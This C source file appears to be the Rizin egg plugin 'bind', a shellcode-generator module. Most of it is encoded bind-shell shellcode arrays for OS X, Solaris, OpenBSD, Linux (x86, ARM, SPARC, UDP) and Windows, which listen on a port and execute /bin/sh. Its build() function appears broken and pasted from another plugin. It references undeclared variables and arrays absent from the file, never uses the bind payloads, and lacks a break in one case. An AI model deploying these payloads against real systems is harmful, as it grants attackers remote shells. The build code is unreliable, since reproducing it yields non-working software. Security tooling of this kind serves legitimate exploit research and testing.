216 lines
9.3 KiB
C
216 lines
9.3 KiB
C
// SPDX-FileCopyrightText: 2013 pancake <pancake@nopcode.org>
|
|
// SPDX-License-Identifier: LGPL-3.0-only
|
|
|
|
#include <rz_egg.h>
|
|
|
|
static unsigned char x86_osx_bind4444[] =
|
|
"\x33\xc9\x83\xe9\xea\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc5"
|
|
"\x7e\x85\xb4\x83\xeb\xfc\xe2\xf4\xaf\x3c\xdd\x79\x45\x14\xe4\xec"
|
|
"\x5c\x2c\xed\xa4\xc7\x6f\xd9\x3d\x24\x2c\xc7\xe6\x87\x2c\xef\xa4"
|
|
"\x08\xfe\x1c\x27\x94\x2d\xd7\xde\xad\x26\x48\x34\x75\x14\x48\x34"
|
|
"\x97\x2d\xd7\x04\xdb\xb3\x05\x23\xaf\x7c\xdc\xde\x9f\x26\xd4\xe3"
|
|
"\x94\xb3\x05\xfd\xca\xf7\x74\x4b\x3a\x81\xd5\xdc\xea\x51\xf6\xdc"
|
|
"\xad\x51\xe7\xdd\xab\xf7\x66\xe4\x91\x2a\xd6\xe7\x75\x45\x48\x34";
|
|
|
|
static unsigned char x86_solaris_bind4444[] =
|
|
"\x31\xc9\x83\xe9\xe8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x3f"
|
|
"\x08\x0b\x8d\x83\xeb\xfc\xe2\xf4\x87\xf7\xf3\x72\x03\xff\xdb\xdd"
|
|
"\x0e\xc8\xbb\x17\x6f\x81\xee\xbc\xf6\x59\x4a\xcc\x6e\x59\xbb\x6b"
|
|
"\xc0\xdd\x3a\x5f\xb6\xcf\x59\xeb\x57\x19\x57\xeb\x6e\x81\xed\xe7"
|
|
"\x2f\x5e\x5c\x3d\xd7\xf7\xde\x3d\xd6\xf7\xde\xdd\x6f\x5f\xbb\x67"
|
|
"\xc0\xdd\x3a\x5f\x8d\x01\x5a\xdf\x6f\xb8\x35\x72\xea\x41\x72\x7f"
|
|
"\x6f\x60\x24\xa2\x4c\x60\x63\xa2\x5d\x61\x65\x04\xdc\x58\x58\x04"
|
|
"\xdd\x58\x59\xde\x8f\x33\xf4\x58";
|
|
|
|
// port must be configurable
|
|
static long x86_openbsd_bind6969[] = { // 391b
|
|
0x4151c931, 0x51514151, 0x61b0c031, 0x078980cd, 0x4f88c931, 0x0547c604, 0x084f8902,
|
|
0x0647c766, 0x106a391b, 0x5004478d, 0x5050078b, 0x68b0c031, 0x016a80cd, 0x5050078b,
|
|
0x6ab0c031, 0xc93180cd, 0x078b5151, 0xc0315050, 0x80cd1eb0, 0xc9310789, 0x50078b51,
|
|
0xb0c03150, 0x4180cd5a, 0x7503f983, 0x5b23ebef, 0xc9311f89, 0x89074b88, 0x8d51044f,
|
|
0x078b5007, 0xc0315050, 0x80cd3bb0, 0x5151c931, 0x01b0c031, 0xd8e880cd, 0x2fffffff,
|
|
0x2f6e6962, 0x90416873
|
|
};
|
|
|
|
static unsigned char x86_linux_bind4444[] =
|
|
"\x33\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x81\x9c\x95"
|
|
"\xe9\x83\xeb\xfc\xe2\xf4\xb0\x47\xc6\xaa\xd2\xf6\x97\x83\xe7\xc4\x0c\x60"
|
|
"\x60\x51\x15\x7f\xc2\xce\xf3\x81\x90\xc0\xf3\xba\x08\x7d\xff\x8f\xd9\xcc"
|
|
"\xc4\xbf\x08\x7d\x58\x69\x31\xfa\x44\x0a\x4c\x1c\xc7\xbb\xd7\xdf\x1c\x08"
|
|
"\x31\xfa\x58\x69\x12\xf6\x97\xb0\x31\xa3\x58\x69\xc8\xe5\x6c\x59\x8a\xce"
|
|
"\xfd\xc6\xae\xef\xfd\x81\xae\xfe\xfc\x87\x08\x7f\xc7\xba\x08\x7d\x58\x69\x00";
|
|
|
|
// TODO: UDP support
|
|
static unsigned char x86_linux_udp4444[] =
|
|
"\x33\xc9\x83\xe9\xe7\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x13\xec\x81"
|
|
"\xca\x83\xeb\xfc\xe2\xf4\x22\x37\xd2\xa0\x11\x86\x83\x89\x79\x8a\xd9\x43"
|
|
"\xf2\x21\x01\x59\x4a\x5c\xbe\x07\x93\xa5\xf8\x33\x48\xb6\xe9\xb5\x13\xec"
|
|
"\x80\xac\x7b\xfd\xdd\xac\x40\x65\x60\xa0\x03\xbd\xd2\x43\xf2\xaf\x31\xac"
|
|
"\xde\x6c\xeb\xc1\x4b\xbe\xe7\xa2\x3e\x85\x08\x2b\x79\x8b\xe7\xa2\x7a\x82"
|
|
"\xe9\xaf\x77\x85\xf5\xa2\x3e\xc1\xef\xa5\x9a\x0b\xd3\xa2\x3c\xc3\xf2\xa2"
|
|
"\x7b\xc3\xe3\xa3\x7d\x65\x62\x98\x42\xbb\xd2\x43\xf2\x21\x01\xca\x00";
|
|
|
|
static char arm_linux_bind[] =
|
|
"\x20\x60\x8f\xe2" /* add r6, pc, #32 */
|
|
"\x07\x70\x47\xe0" /* sub r7, r7, r7 */
|
|
"\x01\x70\xc6\xe5" /* strb r7, [r6, #1] */
|
|
"\x01\x30\x87\xe2" /* add r3, r7, #1 */
|
|
"\x13\x07\xa0\xe1" /* mov r0, r3, lsl r7 */
|
|
"\x01\x20\x83\xe2" /* add r2, r3, #1 */
|
|
"\x07\x40\xa0\xe1" /* mov r4, r7 */
|
|
"\x0e\xe0\x4e\xe0" /* sub lr, lr, lr */
|
|
"\x1c\x40\x2d\xe9" /* stmfd sp!, {r2-r4, lr} */
|
|
"\x0d\x10\xa0\xe1" /* mov r1, sp */
|
|
"\x66\xff\x90\xef" /* swi 0x90ff66 (socket) */
|
|
"\x10\x57\xa0\xe1" /* mov r5, r0, lsl r7 */
|
|
"\x35\x70\xc6\xe5" /* strb r7, [r6, #53] */
|
|
"\x14\x20\xa0\xe3" /* mov r2, #20 */
|
|
"\x82\x28\xa9\xe1" /* mov r2, r2, lsl #17 */
|
|
"\x02\x20\x82\xe2" /* add r2, r2, #2 */
|
|
"\x14\x40\x2d\xe9" /* stmfd sp!, {r2,r4, lr} */
|
|
"\x10\x30\xa0\xe3" /* mov r3, #16 */
|
|
"\x0d\x20\xa0\xe1" /* mov r2, sp */
|
|
"\x0d\x40\x2d\xe9" /* stmfd sp!, {r0, r2, r3, lr} */
|
|
"\x02\x20\xa0\xe3" /* mov r2, #2 */
|
|
"\x12\x07\xa0\xe1" /* mov r0, r2, lsl r7 */
|
|
"\x0d\x10\xa0\xe1" /* mov r1, sp */
|
|
"\x66\xff\x90\xef" /* swi 0x90ff66 (bind) */
|
|
"\x45\x70\xc6\xe5" /* strb r7, [r6, #69] */
|
|
"\x02\x20\x82\xe2" /* add r2, r2, #2 */
|
|
"\x12\x07\xa0\xe1" /* mov r0, r2, lsl r7 */
|
|
"\x66\xff\x90\xef" /* swi 0x90ff66 (listen) */
|
|
"\x5d\x70\xc6\xe5" /* strb r7, [r6, #93] */
|
|
"\x01\x20\x82\xe2" /* add r2, r2, #1 */
|
|
"\x12\x07\xa0\xe1" /* mov r0, r2, lsl r7 */
|
|
"\x04\x70\x8d\xe5" /* str r7, [sp, #4] */
|
|
"\x08\x70\x8d\xe5" /* str r7, [sp, #8] */
|
|
"\x66\xff\x90\xef" /* swi 0x90ff66 (accept) */
|
|
"\x10\x57\xa0\xe1" /* mov r5, r0, lsl r7 */
|
|
"\x02\x10\xa0\xe3" /* mov r1, #2 */
|
|
"\x71\x70\xc6\xe5" /* strb r7, [r6, #113] */
|
|
"\x15\x07\xa0\xe1" /* mov r0, r5, lsl r7 <dup2> */
|
|
"\x3f\xff\x90\xef" /* swi 0x90ff3f (dup2) */
|
|
"\x01\x10\x51\xe2" /* subs r1, r1, #1 */
|
|
"\xfb\xff\xff\x5a" /* bpl <dup2> */
|
|
"\x99\x70\xc6\xe5" /* strb r7, [r6, #153] */
|
|
"\x14\x30\x8f\xe2" /* add r3, pc, #20 */
|
|
"\x04\x30\x8d\xe5" /* str r3, [sp, #4] */
|
|
"\x04\x10\x8d\xe2" /* add r1, sp, #4 */
|
|
"\x02\x20\x42\xe0" /* sub r2, r2, r2 */
|
|
"\x13\x02\xa0\xe1" /* mov r0, r3, lsl r2 */
|
|
"\x08\x20\x8d\xe5" /* str r2, [sp, #8] */
|
|
"\x0b\xff\x90\xef" /* swi 0x900ff0b (execve) */
|
|
"/bin/sh";
|
|
|
|
static unsigned char sparc_linux_bind4444[] =
|
|
"\x23\x2d\x57\xbb\xa2\x14\x63\xd5\x20\xbf\xff\xff\x20\xbf\xff\xff"
|
|
"\x7f\xff\xff\xff\xea\x03\xe0\x20\xaa\x9d\x40\x11\xea\x23\xe0\x20"
|
|
"\xa2\x04\x40\x15\x81\xdb\xe0\x20\x12\xbf\xff\xfb\x9e\x03\xe0\x04"
|
|
"\x29\x75\x4f\xd2\xf1\x9a\xaf\xde\x61\x8a\x8f\xdf\x61\x89\x70\x2b"
|
|
"\xb1\xed\x30\x2b\xf1\xd1\xf0\x37\x60\x35\xaf\xcb\x06\x29\x8f\x1d"
|
|
"\x97\x99\xf0\xb1\x3c\x3a\x50\x91\x9a\x2d\xb0\xc1\x32\x6e\x0f\x15"
|
|
"\x54\x4a\xcf\x2d\xb1\xad\x30\x49\x69\xb8\x10\x0d\xc3\xdf\x12\xb8"
|
|
"\xfb\xe4\x2d\x22\x6c\x0b\x72\xa0\x1d\xfb\x52\xb4\xbf\xeb\xb2\xb5"
|
|
"\x22\x28\x0d\x4d\x32\x3f\x52\xa9\xa3\xef\xb2\xa1\x04\x2c\x0d\x39"
|
|
"\x44\x10\xcd\x45\xd4\x47\x12\xb0\x45\xb7\x72\xaa\xb6\x14\xcd\x3e"
|
|
"\xa4\x4b\x12\xbd\x5a\xc9\x32\xc0\xd9\x1d\x92\x98\x4c\xcd\xf3\x0c"
|
|
"\x7c\x52\x0c\xd1\x51\xae\x4c\xdd\xc5\xab\x73\x16\xc4\xc7\xab\xb2"
|
|
"\xa6\xcc\x6a\xac\x85\xe7\xb1\xea\x59\xdb\xea\x1a\xc8\x38\x4a\x12"
|
|
"\x0c\x04\x35\xd2\x1c\x58\xf5\xea\x5c\xbc\xb5\xf6\xde\xd2\xea\x3d"
|
|
"\x4f\x02\xca\x49\x70\xa3\x0a\x49";
|
|
|
|
static unsigned char x86_w32_tcp4444[] =
|
|
"\x33\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x7a"
|
|
"\xba\xcb\x13\x83\xeb\xfc\xe2\xf4\x86\xd0\x20\x5e\x92\x43\x34\xec"
|
|
"\x85\xda\x40\x7f\x5e\x9e\x40\x56\x46\x31\xb7\x16\x02\xbb\x24\x98"
|
|
"\x35\xa2\x40\x4c\x5a\xbb\x20\x5a\xf1\x8e\x40\x12\x94\x8b\x0b\x8a"
|
|
"\xd6\x3e\x0b\x67\x7d\x7b\x01\x1e\x7b\x78\x20\xe7\x41\xee\xef\x3b"
|
|
"\x0f\x5f\x40\x4c\x5e\xbb\x20\x75\xf1\xb6\x80\x98\x25\xa6\xca\xf8"
|
|
"\x79\x96\x40\x9a\x16\x9e\xd7\x72\xb9\x8b\x10\x77\xf1\xf9\xfb\x98"
|
|
"\x3a\xb6\x40\x63\x66\x17\x40\x53\x72\xe4\xa3\x9d\x34\xb4\x27\x43"
|
|
"\x85\x6c\xad\x40\x1c\xd2\xf8\x21\x12\xcd\xb8\x21\x25\xee\x34\xc3"
|
|
"\x12\x71\x26\xef\x41\xea\x34\xc5\x25\x33\x2e\x75\xfb\x57\xc3\x11"
|
|
"\x2f\xd0\xc9\xec\xaa\xd2\x12\x1a\x8f\x17\x9c\xec\xac\xe9\x98\x40"
|
|
"\x29\xf9\x98\x50\x29\x45\x1b\x7b\x7a\xba\xcb\x13\x1c\xd2\xda\x4f"
|
|
"\x1c\xe9\x42\xf2\xef\xd2\x27\xea\xd0\xda\x9c\xec\xac\xd0\xdb\x42"
|
|
"\x2f\x45\x1b\x75\x10\xde\xad\x7b\x19\xd7\xa1\x43\x23\x93\x07\x9a"
|
|
"\x9d\xd0\x8f\x9a\x98\x8b\x0b\xe0\xd0\x2f\x42\xee\x84\xf8\xe6\xed"
|
|
"\x38\x96\x46\x69\x42\x11\x60\xb8\x12\xc8\x35\xa0\x6c\x45\xbe\x3b"
|
|
"\x85\x6c\x90\x44\x28\xeb\x9a\x42\x10\xbb\x9a\x42\x2f\xeb\x34\xc3"
|
|
"\x12\x17\x12\x16\xb4\xe9\x34\xc5\x10\x45\x34\x24\x85\x6a\xa3\xf4"
|
|
"\x03\x7c\xb2\xec\x0f\xbe\x34\xc5\x85\xcd\x37\xec\xaa\xd2\x3b\x99"
|
|
"\x7e\xe5\x98\xec\xac\x45\x1b\x13";
|
|
|
|
static RzBuffer *build(RzEgg *egg) {
|
|
RzBuffer *buf = rz_buf_new_with_bytes(NULL, 0);
|
|
const ut8 *sc = NULL;
|
|
int cd = 0;
|
|
char *port = rz_egg_option_get(egg, "port");
|
|
// TODO: char *udp = rz_egg_option_get (egg, "udp");
|
|
switch (egg->os) {
|
|
case RZ_EGG_OS_OSX:
|
|
case RZ_EGG_OS_DARWIN:
|
|
switch (egg->arch) {
|
|
case RZ_SYS_ARCH_X86:
|
|
if (suid) {
|
|
sc = x86_osx_suid_binsh;
|
|
cd = 7 + 36;
|
|
} else {
|
|
sc = x86_osx_binsh;
|
|
cd = 36;
|
|
}
|
|
case RZ_SYS_ARCH_ARM:
|
|
// TODO
|
|
break;
|
|
}
|
|
break;
|
|
case RZ_EGG_OS_LINUX:
|
|
if (suid)
|
|
eprintf("no suid for this platform\n");
|
|
suid = 0;
|
|
switch (egg->arch) {
|
|
case RZ_SYS_ARCH_X86:
|
|
switch (egg->bits) {
|
|
case 32: sc = x86_linux_binsh; break;
|
|
case 64: sc = x86_64_linux_binsh; break;
|
|
default: eprintf("Unsupportted\n");
|
|
}
|
|
break;
|
|
case RZ_SYS_ARCH_ARM:
|
|
sc = arm_linux_binsh;
|
|
break;
|
|
}
|
|
break;
|
|
default:
|
|
eprintf("unsupported os %x\n", egg->os);
|
|
break;
|
|
}
|
|
if (sc) {
|
|
rz_buf_set_bytes(buf, sc, strlen((const char *)sc));
|
|
if (shell && *shell) {
|
|
if (cd)
|
|
rz_buf_write_at(buf, cd, (const ut8 *)shell, strlen(shell) + 1);
|
|
else
|
|
eprintf("Cannot set shell\n");
|
|
}
|
|
}
|
|
free(suid);
|
|
free(shell);
|
|
return buf;
|
|
}
|
|
|
|
// TODO: rename plugin to run
|
|
RzEggPlugin rz_egg_plugin_bind = {
|
|
.name = "bind",
|
|
.type = RZ_EGG_PLUGIN_SHELLCODE,
|
|
.desc = "listen port=4444",
|
|
.build = (void *)build
|
|
};
|
|
|
|
#ifndef RZ_PLUGIN_INCORE
|
|
RZ_API RzLibStruct rizin_plugin = {
|
|
.type = RZ_LIB_TYPE_EGG,
|
|
.data = &rz_egg_plugin_bind,
|
|
.version = RZ_VERSION
|
|
};
|
|
#endif
|